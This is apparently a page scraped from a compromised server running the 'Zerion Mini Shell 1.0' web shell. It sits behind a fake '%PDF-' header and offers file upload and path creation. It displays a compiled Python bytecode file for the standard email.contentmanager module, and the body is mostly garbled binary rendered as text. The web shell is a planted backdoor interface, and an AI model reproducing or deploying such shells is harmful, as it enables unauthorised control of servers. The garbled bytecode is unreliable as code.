%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /usr/local/lib/python3.8/email/__pycache__/
Upload File :
Create Path :
Current File : //usr/local/lib/python3.8/email/__pycache__/contentmanager.cpython-38.pyc

U

pa)@s.ddlZddlZddlZddlZddlmZGdddZeZd%ddZe	ded	d
Z
dD]Ze	ee
qfdd
Z
dD]Ze	dee
qddZe	deddZddZddZddZd&ddZeeed'd d!Zeejjed(d#d$ZeeefD]ZeeeqdS))N)
quoprimimec@s<eZdZddZddZddZddZd	d
ZddZd
S)ContentManagercCsi|_i|_dSN)get_handlersset_handlers)selfr0/usr/local/lib/python3.8/email/contentmanager.py__init__	szContentManager.__init__cCs||j|<dSr)r)rkeyhandlerrrr	add_get_handler
szContentManager.add_get_handlercOs||}||jkr(|j||f||S|}||jkrP|j||f||Sd|jkrp|jd|f||St|dS)N)Zget_content_typerget_content_maintypeKeyError)rmsgargskwZcontent_typemaintyperrr	get_contents


zContentManager.get_contentcCs||j|<dSr)r)rZtypekeyrrrr	add_set_handlerszContentManager.add_set_handlercOs>|dkrtd|||}||||f||dS)NZ	multipartz"set_content not valid on multipart)r	TypeError_find_set_handlerZ
clear_content)rrobjrrrrrr	set_contents
zContentManager.set_contentc	Csd}t|jD]}||jkr*|j|S|j}t|dd}|rNd||fn|}|dkr^|}||jkrv|j|S||jkr|j|S|j}||jkr|j|Sqd|jkr|jdSt|dS)N
__module__r.)type__mro__r__qualname__getattrjoin__name__r)	rrrZfull_path_for_errortypZqnamemodname	full_pathnamerrr	r's&





z ContentManager._find_set_handlerN)	r"rrr
r
rrrrrrrr	rs	rreplacecCs&|jdd}|dd}|j||dS)NTdecodecharsetASCII)errors)get_payloadZ	get_paramr))rr,Zcontentr*rrr	get_text_content@sr.textcCs|jddS)NTr(r-rrrr	get_non_text_contentGsr2zaudio image video applicationcCs
|dSNrr0r1rrr	get_message_contentMsr4zrfc822 external-bodyzmessage/cCst|dSr3)bytesr-r1rrr	%get_and_fixup_unknown_message_contentSsr6messagec
sd||f|d<|rt|dds<|jfdd|D}z(|D]}|jrV|jd|||j<qBWn@tjjk
r}ztd	|j
|jd|W5d}~XYnXdS)	N/zContent-Typerr&csg|]}j|gqSr)Zheader_factoryZheader_source_parse).0headermprr	
<listcomp>dsz _prepare_set.<locals>.<listcomp>zInvalid header: {})policy)r!hasattrr>Zdefectsr&emailr,ZHeaderDefect
ValueErrorformatZfold)rrsubtypeheadersr:excrr;r	_prepare_set_s$

rFcCsx|dkr|dk	rd}|dk	r$||d<|dk	r>|jd|ddd|dk	rN||d<|dk	rt|D]\}}|||q^dS)NZ
attachmentzContent-DispositionfilenameT)r:r'z
Content-ID)	set_paramitems)rdispositionrGcidparamsrvaluerrr	
_finalize_setpsrNcCsVg}|dd}tdt||D]*}||||}|t|dq d|S)Nrasciir)rangelenappendbinascii
b2a_base64r)r!)datamax_line_lengthZ
encoded_linesZunencoded_bytes_per_lineiZthislinerrr	_encode_base64srZcs||}|jdfdd}dd}|dkrtdd|Ddd	|jkrzd
||dfWStk
rzYnX|jdkrd||ddfS||dd
}t	|d|j}t
|}	t|t|	krd}nd}t|d
kr||fS|d
kr||d}
nj|dkr,||dd}
nN|dkrPt	||d|j}
n*|dkrlt
|||j}
ntd|||
fS)NrQcs|Srr!lineslineseprr	
embedded_bodyz#_encode_text.<locals>.embedded_bodycSsd|dS)N
r[r\rrr	normal_bodyraz!_encode_text.<locals>.normal_bodycss|]}t|VqdSr)rS)r9xrrr		<genexpr>sz_encode_text.<locals>.<genexpr>r)default7bit8bitsurrogateescape
zlatin-1base64quoted-printablez$Unknown content transfer encoding {})encode
splitlinesr_maxrXr)UnicodeDecodeErrorZcte_typerZbody_encoderUrVrSrZrArB)stringr*cter>r]r`rcZsniffZsniff_qpZsniff_base64rWrr^r	_encode_textsD





rsplainutf-8c
Csdt|d||	t||||j\}}
||
|jdtjj||dd||d<t	|||||dS)Nr/r*T)r'Content-Transfer-Encoding)
rFrsr>set_payloadrHr@r*ZALIASESgetrN)rrqrCr*rrrJrGrKrLrDpayloadrrr	set_text_contents
rzrfc822c		Cs|dkrtd|dkr@|dkr.td||dkr:dn|}n0|dkrd|dkr^td	|d
}n|dkrpd
}t|d||||g||d<t|||||dS)
Npartialz4message/partial is not supported for Message objectsr{)Nrgrhbinaryz*message/rfc822 parts do not support cte={}rhz
external-body)Nrgz1message/external-body parts do not support cte={}rgr7rv)rArBrFrwrN)	rr7rCrrrJrGrKrLrDrrr	set_message_contents(r~rkc

Cst||||	|dkr(t||jjd}nN|dkrNtj|dddd}|d}n(|dkrb|dn|d	krv|dd
}||||d<t	|||||dS)Nrk)rXrlFT)istextr:Z	quotetabsrQrg)rhr}rirv)
rFrZr>rXrUZb2a_qpr)rmrwrN)
rrWrrCrrrJrGrKrLrDrrr	set_bytes_contents
r)r')rtruNNNNNN)r{NNNNNN)rkNNNNN)rUZ
email.charsetr@Z
email.messageZemail.errorsrrZraw_data_managerr.r
r2splitrr4rCr6rFrNrZrsrzrstrr~r7ZMessagerr5	bytearray
memoryviewr#rrrr	<module>s^6
	'




Zerion Mini Shell 1.0